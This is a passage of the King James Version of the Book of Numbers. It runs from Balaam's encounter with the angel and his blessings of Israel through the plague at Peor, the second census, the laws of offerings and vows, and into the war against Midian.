hast +mocked me: I would there were a sword in mine hand, for now would I +kill thee. + +22:30 And the ass said unto Balaam, Am not I thine ass, upon which +thou hast ridden ever since I was thine unto this day? was I ever wont +to do so unto thee? And he said, Nay. + +22:31 Then the LORD opened the eyes of Balaam, and he saw the angel of +the LORD standing in the way, and his sword drawn in his hand: and he +bowed down his head, and fell flat on his face. + +22:32 And the angel of the LORD said unto him, Wherefore hast thou +smitten thine ass these three times? behold, I went out to withstand +thee, because thy way is perverse before me: 22:33 And the ass saw me, +and turned from me these three times: unless she had turned from me, +surely now also I had slain thee, and saved her alive. + +22:34 And Balaam said unto the angel of the LORD, I have sinned; for I +knew not that thou stoodest in the way against me: now therefore, if +it displease thee, I will get me back again. + +22:35 And the angel of the LORD said unto Balaam, Go with the men: but +only the word that I shall speak unto thee, that thou shalt speak. So +Balaam went with the princes of Balak. + +22:36 And when Balak heard that Balaam was come, he went out to meet +him unto a city of Moab, which is in the border of Arnon, which is in +the utmost coast. + +22:37 And Balak said unto Balaam, Did I not earnestly send unto thee +to call thee? wherefore camest thou not unto me? am I not able indeed +to promote thee to honour? 22:38 And Balaam said unto Balak, Lo, I am +come unto thee: have I now any power at all to say any thing? the word +that God putteth in my mouth, that shall I speak. + +22:39 And Balaam went with Balak, and they came unto Kirjathhuzoth. + +22:40 And Balak offered oxen and sheep, and sent to Balaam, and to the +princes that were with him. + +22:41 And it came to pass on the morrow, that Balak took Balaam, and +brought him up into the high places of Baal, that thence he might see +the utmost part of the people. + +23:1 And Balaam said unto Balak, Build me here seven altars, and +prepare me here seven oxen and seven rams. + +23:2 And Balak did as Balaam had spoken; and Balak and Balaam offered +on every altar a bullock and a ram. + +23:3 And Balaam said unto Balak, Stand by thy burnt offering, and I +will go: peradventure the LORD will come to meet me: and whatsoever he +sheweth me I will tell thee. And he went to an high place. + +23:4 And God met Balaam: and he said unto him, I have prepared seven +altars, and I have offered upon every altar a bullock and a ram. + +23:5 And the LORD put a word in Balaam's mouth, and said, Return unto +Balak, and thus thou shalt speak. + +23:6 And he returned unto him, and, lo, he stood by his burnt +sacrifice, he, and all the princes of Moab. + +23:7 And he took up his parable, and said, Balak the king of Moab hath +brought me from Aram, out of the mountains of the east, saying, Come, +curse me Jacob, and come, defy Israel. + +23:8 How shall I curse, whom God hath not cursed? or how shall I defy, +whom the LORD hath not defied? 23:9 For from the top of the rocks I +see him, and from the hills I behold him: lo, the people shall dwell +alone, and shall not be reckoned among the nations. + +23:10 Who can count the dust of Jacob, and the number of the fourth +part of Israel? Let me die the death of the righteous, and let my last +end be like his! 23:11 And Balak said unto Balaam, What hast thou +done unto me? I took thee to curse mine enemies, and, behold, thou +hast blessed them altogether. + +23:12 And he answered and said, Must I not take heed to speak that +which the LORD hath put in my mouth? 23:13 And Balak said unto him, +Come, I pray thee, with me unto another place, from whence thou mayest +see them: thou shalt see but the utmost part of them, and shalt not +see them all: and curse me them from thence. + +23:14 And he brought him into the field of Zophim, to the top of +Pisgah, and built seven altars, and offered a bullock and a ram on +every altar. + +23:15 And he said unto Balak, Stand here by thy burnt offering, while +I meet the LORD yonder. + +23:16 And the LORD met Balaam, and put a word in his mouth, and said, +Go again unto Balak, and say thus. + +23:17 And when he came to him, behold, he stood by his burnt offering, +and the princes of Moab with him. And Balak said unto him, What hath +the LORD spoken? 23:18 And he took up his parable, and said, Rise up, +Balak, and hear; hearken unto me, thou son of Zippor: 23:19 God is not +a man, that he should lie; neither the son of man, that he should +repent: hath he said, and shall he not do it? or hath he spoken, and +shall he not make it good? 23:20 Behold, I have received commandment +to bless: and he hath blessed; and I cannot reverse it. + +23:21 He hath not beheld iniquity in Jacob, neither hath he seen +perverseness in Israel: the LORD his God is with him, and the shout of +a king is among them. + +23:22 God brought them out of Egypt; he hath as it were the strength +of an unicorn. + +23:23 Surely there is no enchantment against Jacob, neither is there +any divination against Israel: according to this time it shall be said +of Jacob and of Israel, What hath God wrought! 23:24 Behold, the +people shall rise up as a great lion, and lift up himself as a young +lion: he shall not lie down until he eat of the prey, and drink the +blood of the slain. + +23:25 And Balak said unto Balaam, Neither curse them at all, nor bless +them at all. + +23:26 But Balaam answered and said unto Balak, Told not I thee, +saying, All that the LORD speaketh, that I must do? 23:27 And Balak +said unto Balaam, Come, I pray thee, I will bring thee unto another +place; peradventure it will please God that thou mayest curse me them +from thence. + +23:28 And Balak brought Balaam unto the top of Peor, that looketh +toward Jeshimon. + +23:29 And Balaam said unto Balak, Build me here seven altars, and +prepare me here seven bullocks and seven rams. + +23:30 And Balak did as Balaam had said, and offered a bullock and a +ram on every altar. + +24:1 And when Balaam saw that it pleased the LORD to bless Israel, he +went not, as at other times, to seek for enchantments, but he set his +face toward the wilderness. + +24:2 And Balaam lifted up his eyes, and he saw Israel abiding in his +tents according to their tribes; and the spirit of God came upon him. + +24:3 And he took up his parable, and said, Balaam the son of Beor hath +said, and the man whose eyes are open hath said: 24:4 He hath said, +which heard the words of God, which saw the vision of the Almighty, +falling into a trance, but having his eyes open: 24:5 How goodly are +thy tents, O Jacob, and thy tabernacles, O Israel! 24:6 As the +valleys are they spread forth, as gardens by the river's side, as the +trees of lign aloes which the LORD hath planted, and as cedar trees +beside the waters. + +24:7 He shall pour the water out of his buckets, and his seed shall be +in many waters, and his king shall be higher than Agag, and his +kingdom shall be exalted. + +24:8 God brought him forth out of Egypt; he hath as it were the +strength of an unicorn: he shall eat up the nations his enemies, and +shall break their bones, and pierce them through with his arrows. + +24:9 He couched, he lay down as a lion, and as a great lion: who shall +stir him up? Blessed is he that blesseth thee, and cursed is he that +curseth thee. + +24:10 And Balak's anger was kindled against Balaam, and he smote his +hands together: and Balak said unto Balaam, I called thee to curse +mine enemies, and, behold, thou hast altogether blessed them these +three times. + +24:11 Therefore now flee thou to thy place: I thought to promote thee +unto great honour; but, lo, the LORD hath kept thee back from honour. + +24:12 And Balaam said unto Balak, Spake I not also to thy messengers +which thou sentest unto me, saying, 24:13 If Balak would give me his +house full of silver and gold, I cannot go beyond the commandment of +the LORD, to do either good or bad of mine own mind; but what the LORD +saith, that will I speak? 24:14 And now, behold, I go unto my people: +come therefore, and I will advertise thee what this people shall do to +thy people in the latter days. + +24:15 And he took up his parable, and said, Balaam the son of Beor +hath said, and the man whose eyes are open hath said: 24:16 He hath +said, which heard the words of God, and knew the knowledge of the most +High, which saw the vision of the Almighty, falling into a trance, but +having his eyes open: 24:17 I shall see him, but not now: I shall +behold him, but not nigh: there shall come a Star out of Jacob, and a +Sceptre shall rise out of Israel, and shall smite the corners of Moab, +and destroy all the children of Sheth. + +24:18 And Edom shall be a possession, Seir also shall be a possession +for his enemies; and Israel shall do valiantly. + +24:19 Out of Jacob shall come he that shall have dominion, and shall +destroy him that remaineth of the city. + +24:20 And when he looked on Amalek, he took up his parable, and said, +Amalek was the first of the nations; but his latter end shall be that +he perish for ever. + +24:21 And he looked on the Kenites, and took up his parable, and said, +Strong is thy dwellingplace, and thou puttest thy nest in a rock. + +24:22 Nevertheless the Kenite shall be wasted, until Asshur shall +carry thee away captive. + +24:23 And he took up his parable, and said, Alas, who shall live when +God doeth this! 24:24 And ships shall come from the coast of Chittim, +and shall afflict Asshur, and shall afflict Eber, and he also shall +perish for ever. + +24:25 And Balaam rose up, and went and returned to his place: and +Balak also went his way. + +25:1 And Israel abode in Shittim, and the people began to commit +whoredom with the daughters of Moab. + +25:2 And they called the people unto the sacrifices of their gods: and +the people did eat, and bowed down to their gods. + +25:3 And Israel joined himself unto Baalpeor: and the anger of the +LORD was kindled against Israel. + +25:4 And the LORD said unto Moses, Take all the heads of the people, +and hang them up before the LORD against the sun, that the fierce +anger of the LORD may be turned away from Israel. + +25:5 And Moses said unto the judges of Israel, Slay ye every one his +men that were joined unto Baalpeor. + +25:6 And, behold, one of the children of Israel came and brought unto +his brethren a Midianitish woman in the sight of Moses, and in the +sight of all the congregation of the children of Israel, who were +weeping before the door of the tabernacle of the congregation. + +25:7 And when Phinehas, the son of Eleazar, the son of Aaron the +priest, saw it, he rose up from among the congregation, and took a +javelin in his hand; 25:8 And he went after the man of Israel into the +tent, and thrust both of them through, the man of Israel, and the +woman through her belly. So the plague was stayed from the children of +Israel. + +25:9 And those that died in the plague were twenty and four thousand. + +25:10 And the LORD spake unto Moses, saying, 25:11 Phinehas, the son +of Eleazar, the son of Aaron the priest, hath turned my wrath away +from the children of Israel, while he was zealous for my sake among +them, that I consumed not the children of Israel in my jealousy. + +25:12 Wherefore say, Behold, I give unto him my covenant of peace: +25:13 And he shall have it, and his seed after him, even the covenant +of an everlasting priesthood; because he was zealous for his God, and +made an atonement for the children of Israel. + +25:14 Now the name of the Israelite that was slain, even that was +slain with the Midianitish woman, was Zimri, the son of Salu, a prince +of a chief house among the Simeonites. + +25:15 And the name of the Midianitish woman that was slain was Cozbi, +the daughter of Zur; he was head over a people, and of a chief house +in Midian. + +25:16 And the LORD spake unto Moses, saying, 25:17 Vex the Midianites, +and smite them: 25:18 For they vex you with their wiles, wherewith +they have beguiled you in the matter of Peor, and in the matter of +Cozbi, the daughter of a prince of Midian, their sister, which was +slain in the day of the plague for Peor's sake. + +26:1 And it came to pass after the plague, that the LORD spake unto +Moses and unto Eleazar the son of Aaron the priest, saying, 26:2 Take +the sum of all the congregation of the children of Israel, from twenty +years old and upward, throughout their fathers' house, all that are +able to go to war in Israel. + +26:3 And Moses and Eleazar the priest spake with them in the plains of +Moab by Jordan near Jericho, saying, 26:4 Take the sum of the people, +from twenty years old and upward; as the LORD commanded Moses and the +children of Israel, which went forth out of the land of Egypt. + +26:5 Reuben, the eldest son of Israel: the children of Reuben; Hanoch, +of whom cometh the family of the Hanochites: of Pallu, the family of +the Palluites: 26:6 Of Hezron, the family of the Hezronites: of Carmi, +the family of the Carmites. + +26:7 These are the families of the Reubenites: and they that were +numbered of them were forty and three thousand and seven hundred and +thirty. + +26:8 And the sons of Pallu; Eliab. + +26:9 And the sons of Eliab; Nemuel, and Dathan, and Abiram. This is +that Dathan and Abiram, which were famous in the congregation, who +strove against Moses and against Aaron in the company of Korah, when +they strove against the LORD: 26:10 And the earth opened her mouth, +and swallowed them up together with Korah, when that company died, +what time the fire devoured two hundred and fifty men: and they became +a sign. + +26:11 Notwithstanding the children of Korah died not. + +26:12 The sons of Simeon after their families: of Nemuel, the family +of the Nemuelites: of Jamin, the family of the Jaminites: of Jachin, +the family of the Jachinites: 26:13 Of Zerah, the family of the +Zarhites: of Shaul, the family of the Shaulites. + +26:14 These are the families of the Simeonites, twenty and two +thousand and two hundred. + +26:15 The children of Gad after their families: of Zephon, the family +of the Zephonites: of Haggi, the family of the Haggites: of Shuni, the +family of the Shunites: 26:16 Of Ozni, the family of the Oznites: of +Eri, the family of the Erites: 26:17 Of Arod, the family of the +Arodites: of Areli, the family of the Arelites. + +26:18 These are the families of the children of Gad according to those +that were numbered of them, forty thousand and five hundred. + +26:19 The sons of Judah were Er and Onan: and Er and Onan died in the +land of Canaan. + +26:20 And the sons of Judah after their families were; of Shelah, the +family of the Shelanites: of Pharez, the family of the Pharzites: of +Zerah, the family of the Zarhites. + +26:21 And the sons of Pharez were; of Hezron, the family of the +Hezronites: of Hamul, the family of the Hamulites. + +26:22 These are the families of Judah according to those that were +numbered of them, threescore and sixteen thousand and five hundred. + +26:23 Of the sons of Issachar after their families: of Tola, the +family of the Tolaites: of Pua, the family of the Punites: 26:24 Of +Jashub, the family of the Jashubites: of Shimron, the family of the +Shimronites. + +26:25 These are the families of Issachar according to those that were +numbered of them, threescore and four thousand and three hundred. + +26:26 Of the sons of Zebulun after their families: of Sered, the +family of the Sardites: of Elon, the family of the Elonites: of +Jahleel, the family of the Jahleelites. + +26:27 These are the families of the Zebulunites according to those +that were numbered of them, threescore thousand and five hundred. + +26:28 The sons of Joseph after their families were Manasseh and +Ephraim. + +26:29 Of the sons of Manasseh: of Machir, the family of the +Machirites: and Machir begat Gilead: of Gilead come the family of the +Gileadites. + +26:30 These are the sons of Gilead: of Jeezer, the family of the +Jeezerites: of Helek, the family of the Helekites: 26:31 And of +Asriel, the family of the Asrielites: and of Shechem, the family of +the Shechemites: 26:32 And of Shemida, the family of the Shemidaites: +and of Hepher, the family of the Hepherites. + +26:33 And Zelophehad the son of Hepher had no sons, but daughters: and +the names of the daughters of Zelophehad were Mahlah, and Noah, +Hoglah, Milcah, and Tirzah. + +26:34 These are the families of Manasseh, and those that were numbered +of them, fifty and two thousand and seven hundred. + +26:35 These are the sons of Ephraim after their families: of +Shuthelah, the family of the Shuthalhites: of Becher, the family of +the Bachrites: of Tahan, the family of the Tahanites. + +26:36 And these are the sons of Shuthelah: of Eran, the family of the +Eranites. + +26:37 These are the families of the sons of Ephraim according to those +that were numbered of them, thirty and two thousand and five hundred. +These are the sons of Joseph after their families. + +26:38 The sons of Benjamin after their families: of Bela, the family +of the Belaites: of Ashbel, the family of the Ashbelites: of Ahiram, +the family of the Ahiramites: 26:39 Of Shupham, the family of the +Shuphamites: of Hupham, the family of the Huphamites. + +26:40 And the sons of Bela were Ard and Naaman: of Ard, the family of +the Ardites: and of Naaman, the family of the Naamites. + +26:41 These are the sons of Benjamin after their families: and they +that were numbered of them were forty and five thousand and six +hundred. + +26:42 These are the sons of Dan after their families: of Shuham, the +family of the Shuhamites. These are the families of Dan after their +families. + +26:43 All the families of the Shuhamites, according to those that were +numbered of them, were threescore and four thousand and four hundred. + +26:44 Of the children of Asher after their families: of Jimna, the +family of the Jimnites: of Jesui, the family of the Jesuites: of +Beriah, the family of the Beriites. + +26:45 Of the sons of Beriah: of Heber, the family of the Heberites: of +Malchiel, the family of the Malchielites. + +26:46 And the name of the daughter of Asher was Sarah. + +26:47 These are the families of the sons of Asher according to those +that were numbered of them; who were fifty and three thousand and four +hundred. + +26:48 Of the sons of Naphtali after their families: of Jahzeel, the +family of the Jahzeelites: of Guni, the family of the Gunites: 26:49 +Of Jezer, the family of the Jezerites: of Shillem, the family of the +Shillemites. + +26:50 These are the families of Naphtali according to their families: +and they that were numbered of them were forty and five thousand and +four hundred. + +26:51 These were the numbered of the children of Israel, six hundred +thousand and a thousand seven hundred and thirty. + +26:52 And the LORD spake unto Moses, saying, 26:53 Unto these the land +shall be divided for an inheritance according to the number of names. + +26:54 To many thou shalt give the more inheritance, and to few thou +shalt give the less inheritance: to every one shall his inheritance be +given according to those that were numbered of him. + +26:55 Notwithstanding the land shall be divided by lot: according to +the names of the tribes of their fathers they shall inherit. + +26:56 According to the lot shall the possession thereof be divided +between many and few. + +26:57 And these are they that were numbered of the Levites after their +families: of Gershon, the family of the Gershonites: of Kohath, the +family of the Kohathites: of Merari, the family of the Merarites. + +26:58 These are the families of the Levites: the family of the +Libnites, the family of the Hebronites, the family of the Mahlites, +the family of the Mushites, the family of the Korathites. And Kohath +begat Amram. + +26:59 And the name of Amram's wife was Jochebed, the daughter of Levi, +whom her mother bare to Levi in Egypt: and she bare unto Amram Aaron +and Moses, and Miriam their sister. + +26:60 And unto Aaron was born Nadab, and Abihu, Eleazar, and Ithamar. + +26:61 And Nadab and Abihu died, when they offered strange fire before +the LORD. + +26:62 And those that were numbered of them were twenty and three +thousand, all males from a month old and upward: for they were not +numbered among the children of Israel, because there was no +inheritance given them among the children of Israel. + +26:63 These are they that were numbered by Moses and Eleazar the +priest, who numbered the children of Israel in the plains of Moab by +Jordan near Jericho. + +26:64 But among these there was not a man of them whom Moses and Aaron +the priest numbered, when they numbered the children of Israel in the +wilderness of Sinai. + +26:65 For the LORD had said of them, They shall surely die in the +wilderness. And there was not left a man of them, save Caleb the son +of Jephunneh, and Joshua the son of Nun. + +27:1 Then came the daughters of Zelophehad, the son of Hepher, the son +of Gilead, the son of Machir, the son of Manasseh, of the families of +Manasseh the son of Joseph: and these are the names of his daughters; +Mahlah, Noah, and Hoglah, and Milcah, and Tirzah. + +27:2 And they stood before Moses, and before Eleazar the priest, and +before the princes and all the congregation, by the door of the +tabernacle of the congregation, saying, 27:3 Our father died in the +wilderness, and he was not in the company of them that gathered +themselves together against the LORD in the company of Korah; but died +in his own sin, and had no sons. + +27:4 Why should the name of our father be done away from among his +family, because he hath no son? Give unto us therefore a possession +among the brethren of our father. + +27:5 And Moses brought their cause before the LORD. + +27:6 And the LORD spake unto Moses, saying, 27:7 The daughters of +Zelophehad speak right: thou shalt surely give them a possession of an +inheritance among their father's brethren; and thou shalt cause the +inheritance of their father to pass unto them. + +27:8 And thou shalt speak unto the children of Israel, saying, If a +man die, and have no son, then ye shall cause his inheritance to pass +unto his daughter. + +27:9 And if he have no daughter, then ye shall give his inheritance +unto his brethren. + +27:10 And if he have no brethren, then ye shall give his inheritance +unto his father's brethren. + +27:11 And if his father have no brethren, then ye shall give his +inheritance unto his kinsman that is next to him of his family, and he +shall possess it: and it shall be unto the children of Israel a +statute of judgment, as the LORD commanded Moses. + +27:12 And the LORD said unto Moses, Get thee up into this mount +Abarim, and see the land which I have given unto the children of +Israel. + +27:13 And when thou hast seen it, thou also shalt be gathered unto thy +people, as Aaron thy brother was gathered. + +27:14 For ye rebelled against my commandment in the desert of Zin, in +the strife of the congregation, to sanctify me at the water before +their eyes: that is the water of Meribah in Kadesh in the wilderness +of Zin. + +27:15 And Moses spake unto the LORD, saying, 27:16 Let the LORD, the +God of the spirits of all flesh, set a man over the congregation, +27:17 Which may go out before them, and which may go in before them, +and which may lead them out, and which may bring them in; that the +congregation of the LORD be not as sheep which have no shepherd. + +27:18 And the LORD said unto Moses, Take thee Joshua the son of Nun, a +man in whom is the spirit, and lay thine hand upon him; 27:19 And set +him before Eleazar the priest, and before all the congregation; and +give him a charge in their sight. + +27:20 And thou shalt put some of thine honour upon him, that all the +congregation of the children of Israel may be obedient. + +27:21 And he shall stand before Eleazar the priest, who shall ask +counsel for him after the judgment of Urim before the LORD: at his +word shall they go out, and at his word they shall come in, both he, +and all the children of Israel with him, even all the congregation. + +27:22 And Moses did as the LORD commanded him: and he took Joshua, and +set him before Eleazar the priest, and before all the congregation: +27:23 And he laid his hands upon him, and gave him a charge, as the +LORD commanded by the hand of Moses. + +28:1 And the LORD spake unto Moses, saying, 28:2 Command the children +of Israel, and say unto them, My offering, and my bread for my +sacrifices made by fire, for a sweet savour unto me, shall ye observe +to offer unto me in their due season. + +28:3 And thou shalt say unto them, This is the offering made by fire +which ye shall offer unto the LORD; two lambs of the first year +without spot day by day, for a continual burnt offering. + +28:4 The one lamb shalt thou offer in the morning, and the other lamb +shalt thou offer at even; 28:5 And a tenth part of an ephah of flour +for a meat offering, mingled with the fourth part of an hin of beaten +oil. + +28:6 It is a continual burnt offering, which was ordained in mount +Sinai for a sweet savour, a sacrifice made by fire unto the LORD. + +28:7 And the drink offering thereof shall be the fourth part of an hin +for the one lamb: in the holy place shalt thou cause the strong wine +to be poured unto the LORD for a drink offering. + +28:8 And the other lamb shalt thou offer at even: as the meat offering +of the morning, and as the drink offering thereof, thou shalt offer +it, a sacrifice made by fire, of a sweet savour unto the LORD. + +28:9 And on the sabbath day two lambs of the first year without spot, +and two tenth deals of flour for a meat offering, mingled with oil, +and the drink offering thereof: 28:10 This is the burnt offering of +every sabbath, beside the continual burnt offering, and his drink +offering. + +28:11 And in the beginnings of your months ye shall offer a burnt +offering unto the LORD; two young bullocks, and one ram, seven lambs +of the first year without spot; 28:12 And three tenth deals of flour +for a meat offering, mingled with oil, for one bullock; and two tenth +deals of flour for a meat offering, mingled with oil, for one ram; +28:13 And a several tenth deal of flour mingled with oil for a meat +offering unto one lamb; for a burnt offering of a sweet savour, a +sacrifice made by fire unto the LORD. + +28:14 And their drink offerings shall be half an hin of wine unto a +bullock, and the third part of an hin unto a ram, and a fourth part of +an hin unto a lamb: this is the burnt offering of every month +throughout the months of the year. + +28:15 And one kid of the goats for a sin offering unto the LORD shall +be offered, beside the continual burnt offering, and his drink +offering. + +28:16 And in the fourteenth day of the first month is the passover of +the LORD. + +28:17 And in the fifteenth day of this month is the feast: seven days +shall unleavened bread be eaten. + +28:18 In the first day shall be an holy convocation; ye shall do no +manner of servile work therein: 28:19 But ye shall offer a sacrifice +made by fire for a burnt offering unto the LORD; two young bullocks, +and one ram, and seven lambs of the first year: they shall be unto you +without blemish: 28:20 And their meat offering shall be of flour +mingled with oil: three tenth deals shall ye offer for a bullock, and +two tenth deals for a ram; 28:21 A several tenth deal shalt thou offer +for every lamb, throughout the seven lambs: 28:22 And one goat for a +sin offering, to make an atonement for you. + +28:23 Ye shall offer these beside the burnt offering in the morning, +which is for a continual burnt offering. + +28:24 After this manner ye shall offer daily, throughout the seven +days, the meat of the sacrifice made by fire, of a sweet savour unto +the LORD: it shall be offered beside the continual burnt offering, and +his drink offering. + +28:25 And on the seventh day ye shall have an holy convocation; ye +shall do no servile work. + +28:26 Also in the day of the firstfruits, when ye bring a new meat +offering unto the LORD, after your weeks be out, ye shall have an holy +convocation; ye shall do no servile work: 28:27 But ye shall offer the +burnt offering for a sweet savour unto the LORD; two young bullocks, +one ram, seven lambs of the first year; 28:28 And their meat offering +of flour mingled with oil, three tenth deals unto one bullock, two +tenth deals unto one ram, 28:29 A several tenth deal unto one lamb, +throughout the seven lambs; 28:30 And one kid of the goats, to make an +atonement for you. + +28:31 Ye shall offer them beside the continual burnt offering, and his +meat offering, (they shall be unto you without blemish) and their +drink offerings. + +29:1 And in the seventh month, on the first day of the month, ye shall +have an holy convocation; ye shall do no servile work: it is a day of +blowing the trumpets unto you. + +29:2 And ye shall offer a burnt offering for a sweet savour unto the +LORD; one young bullock, one ram, and seven lambs of the first year +without blemish: 29:3 And their meat offering shall be of flour +mingled with oil, three tenth deals for a bullock, and two tenth deals +for a ram, 29:4 And one tenth deal for one lamb, throughout the seven +lambs: 29:5 And one kid of the goats for a sin offering, to make an +atonement for you: 29:6 Beside the burnt offering of the month, and +his meat offering, and the daily burnt offering, and his meat +offering, and their drink offerings, according unto their manner, for +a sweet savour, a sacrifice made by fire unto the LORD. + +29:7 And ye shall have on the tenth day of this seventh month an holy +convocation; and ye shall afflict your souls: ye shall not do any work +therein: 29:8 But ye shall offer a burnt offering unto the LORD for a +sweet savour; one young bullock, one ram, and seven lambs of the first +year; they shall be unto you without blemish: 29:9 And their meat +offering shall be of flour mingled with oil, three tenth deals to a +bullock, and two tenth deals to one ram, 29:10 A several tenth deal +for one lamb, throughout the seven lambs: 29:11 One kid of the goats +for a sin offering; beside the sin offering of atonement, and the +continual burnt offering, and the meat offering of it, and their drink +offerings. + +29:12 And on the fifteenth day of the seventh month ye shall have an +holy convocation; ye shall do no servile work, and ye shall keep a +feast unto the LORD seven days: 29:13 And ye shall offer a burnt +offering, a sacrifice made by fire, of a sweet savour unto the LORD; +thirteen young bullocks, two rams, and fourteen lambs of the first +year; they shall be without blemish: 29:14 And their meat offering +shall be of flour mingled with oil, three tenth deals unto every +bullock of the thirteen bullocks, two tenth deals to each ram of the +two rams, 29:15 And a several tenth deal to each lamb of the fourteen +lambs: 29:16 And one kid of the goats for a sin offering; beside the +continual burnt offering, his meat offering, and his drink offering. + +29:17 And on the second day ye shall offer twelve young bullocks, two +rams, fourteen lambs of the first year without spot: 29:18 And their +meat offering and their drink offerings for the bullocks, for the +rams, and for the lambs, shall be according to their number, after the +manner: 29:19 And one kid of the goats for a sin offering; beside the +continual burnt offering, and the meat offering thereof, and their +drink offerings. + +29:20 And on the third day eleven bullocks, two rams, fourteen lambs +of the first year without blemish; 29:21 And their meat offering and +their drink offerings for the bullocks, for the rams, and for the +lambs, shall be according to their number, after the manner: 29:22 And +one goat for a sin offering; beside the continual burnt offering, and +his meat offering, and his drink offering. + +29:23 And on the fourth day ten bullocks, two rams, and fourteen lambs +of the first year without blemish: 29:24 Their meat offering and their +drink offerings for the bullocks, for the rams, and for the lambs, +shall be according to their number, after the manner: 29:25 And one +kid of the goats for a sin offering; beside the continual burnt +offering, his meat offering, and his drink offering. + +29:26 And on the fifth day nine bullocks, two rams, and fourteen lambs +of the first year without spot: 29:27 And their meat offering and +their drink offerings for the bullocks, for the rams, and for the +lambs, shall be according to their number, after the manner: 29:28 And +one goat for a sin offering; beside the continual burnt offering, and +his meat offering, and his drink offering. + +29:29 And on the sixth day eight bullocks, two rams, and fourteen +lambs of the first year without blemish: 29:30 And their meat offering +and their drink offerings for the bullocks, for the rams, and for the +lambs, shall be according to their number, after the manner: 29:31 And +one goat for a sin offering; beside the continual burnt offering, his +meat offering, and his drink offering. + +29:32 And on the seventh day seven bullocks, two rams, and fourteen +lambs of the first year without blemish: 29:33 And their meat offering +and their drink offerings for the bullocks, for the rams, and for the +lambs, shall be according to their number, after the manner: 29:34 And +one goat for a sin offering; beside the continual burnt offering, his +meat offering, and his drink offering. + +29:35 On the eighth day ye shall have a solemn assembly: ye shall do +no servile work therein: 29:36 But ye shall offer a burnt offering, a +sacrifice made by fire, of a sweet savour unto the LORD: one bullock, +one ram, seven lambs of the first year without blemish: 29:37 Their +meat offering and their drink offerings for the bullock, for the ram, +and for the lambs, shall be according to their number, after the +manner: 29:38 And one goat for a sin offering; beside the continual +burnt offering, and his meat offering, and his drink offering. + +29:39 These things ye shall do unto the LORD in your set feasts, +beside your vows, and your freewill offerings, for your burnt +offerings, and for your meat offerings, and for your drink offerings, +and for your peace offerings. + +29:40 And Moses told the children of Israel according to all that the +LORD commanded Moses. + +30:1 And Moses spake unto the heads of the tribes concerning the +children of Israel, saying, This is the thing which the LORD hath +commanded. + +30:2 If a man vow a vow unto the LORD, or swear an oath to bind his +soul with a bond; he shall not break his word, he shall do according +to all that proceedeth out of his mouth. + +30:3 If a woman also vow a vow unto the LORD, and bind herself by a +bond, being in her father's house in her youth; 30:4 And her father +hear her vow, and her bond wherewith she hath bound her soul, and her +father shall hold his peace at her; then all her vows shall stand, and +every bond wherewith she hath bound her soul shall stand. + +30:5 But if her father disallow her in the day that he heareth; not +any of her vows, or of her bonds wherewith she hath bound her soul, +shall stand: and the LORD shall forgive her, because her father +disallowed her. + +30:6 And if she had at all an husband, when she vowed, or uttered +ought out of her lips, wherewith she bound her soul; 30:7 And her +husband heard it, and held his peace at her in the day that he heard +it: then her vows shall stand, and her bonds wherewith she bound her +soul shall stand. + +30:8 But if her husband disallowed her on the day that he heard it; +then he shall make her vow which she vowed, and that which she uttered +with her lips, wherewith she bound her soul, of none effect: and the +LORD shall forgive her. + +30:9 But every vow of a widow, and of her that is divorced, wherewith +they have bound their souls, shall stand against her. + +30:10 And if she vowed in her husband's house, or bound her soul by a +bond with an oath; 30:11 And her husband heard it, and held his peace +at her, and disallowed her not: then all her vows shall stand, and +every bond wherewith she bound her soul shall stand. + +30:12 But if her husband hath utterly made them void on the day he +heard them; then whatsoever proceeded out of her lips concerning her +vows, or concerning the bond of her soul, shall not stand: her husband +hath made them void; and the LORD shall forgive her. + +30:13 Every vow, and every binding oath to afflict the soul, her +husband may establish it, or her husband may make it void. + +30:14 But if her husband altogether hold his peace at her from day to +day; then he establisheth all her vows, or all her bonds, which are +upon her: he confirmeth them, because he held his peace at her in the +day that he heard them. + +30:15 But if he shall any ways make them void after that he hath heard +them; then he shall bear her iniquity. + +30:16 These are the statutes, which the LORD commanded Moses, between +a man and his wife, between the father and his daughter, being yet in +her youth in her father's house. + +31:1 And the LORD spake unto Moses, saying, 31:2 Avenge the children +of Israel of the Midianites: afterward shalt thou be gathered unto thy +people. + +31:3 And Moses spake unto the people, saying, Arm some of yourselves +unto the war, and let them go against the Midianites, and avenge the +LORD of Midian. + +31:4 Of every tribe a thousand, throughout all the tribes of Israel, +shall ye send to the war. + +31:5 So there were delivered out of the thousands of Israel, a +thousand of every tribe, twelve thousand armed for war. + +31:6 And Moses sent them to the war, a thousand of every tribe, them +and Phinehas the son of Eleazar the priest, to the war, with the holy +instruments, and the trumpets to blow in his hand. + +31:7 And they warred against the Midianites, as the LORD commanded +Moses; and they slew all the males. + +31:8 And they slew the kings of Midian, beside the rest of them that +were slain; namely, Evi, and Rekem, and Zur, and Hur, and Reba, five +kings of Midian: Balaam also the son of Beor they slew with the sword. + +31:9 And the children of Israel took all the women of Midian captives, +and their little ones, and took the spoil of all their cattle, and all +their flocks, and all their goods. + +31:10 And they burnt all their cities wherein they dwelt, and all +their goodly castles, with fire. + +31:11 And they took all the spoil, and all the prey, both of men and +of beasts. + +31:12 And they brought the captives, and the prey, and the spoil, unto +Moses, and Eleazar the priest, and unto the congregation of the +children of Israel, unto the camp at the plains of Moab, which are by +Jordan near Jericho. + +31:13 And Moses, and Eleazar the priest, and all the princes of the +congregation, went forth to meet them without the camp. + +31:14 And Moses was wroth with the officers of the host, with the +captains over thousands, and captains over hundreds, which came from +the battle. + +31:15 And Moses said unto them, Have ye saved all the women alive? +31:16 Behold, these caused the children of Israel, through the counsel +of Balaam, to commit trespass against the LORD in the matter of Peor, +and there was a plague among the congregation of the LORD. + +31:17 Now therefore kill every male among the little ones, and kill +every woman that hath known man by lying with him. + +31:18 But all the women children, that have not known a man by lying +with him, keep alive for yourselves. + +31:19 And do ye abide without the camp seven days: whosoever hath +killed any person, and whosoever hath touched any slain, purify both +yourselves and your captives on the third day, and on the seventh day. + +31:20 And purify all your raiment, and all that is made of skins, and +all work of goats' hair, and all things made of wood. + +31:21 And Eleazar the priest said unto the men of war which went to +the battle, This is the ordinance of the law which the LORD commanded +Moses; 31:22 Only the gold, and the silver, the brass, the iron, the +tin, and the lead, 31:23 Every thing that may abide the fire, ye shall +make it go through the fire, and it shall be clean: nevertheless it +shall be purified with the water of separation: and all that abideth +not the fire ye shall make go through the water. + +31:24 And ye shall wash your clothes on the seventh day, and ye shall +be clean, and afterward ye shall come into the camp. + +31:25 And the LORD spake unto Moses, saying, 31:26 Take the sum of the +prey that was taken, both of man and of beast, thou, and Eleazar the +priest, and the chief fathers of the congregation: 31:27 And divide +the prey into 